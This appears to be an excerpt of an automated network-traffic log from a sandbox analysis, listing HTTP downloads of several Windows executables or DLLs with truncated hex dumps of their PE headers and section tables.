00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 17 00 00 00 70 01 00 00 12 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 0f 00 00 00 90 01 00 00 10 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 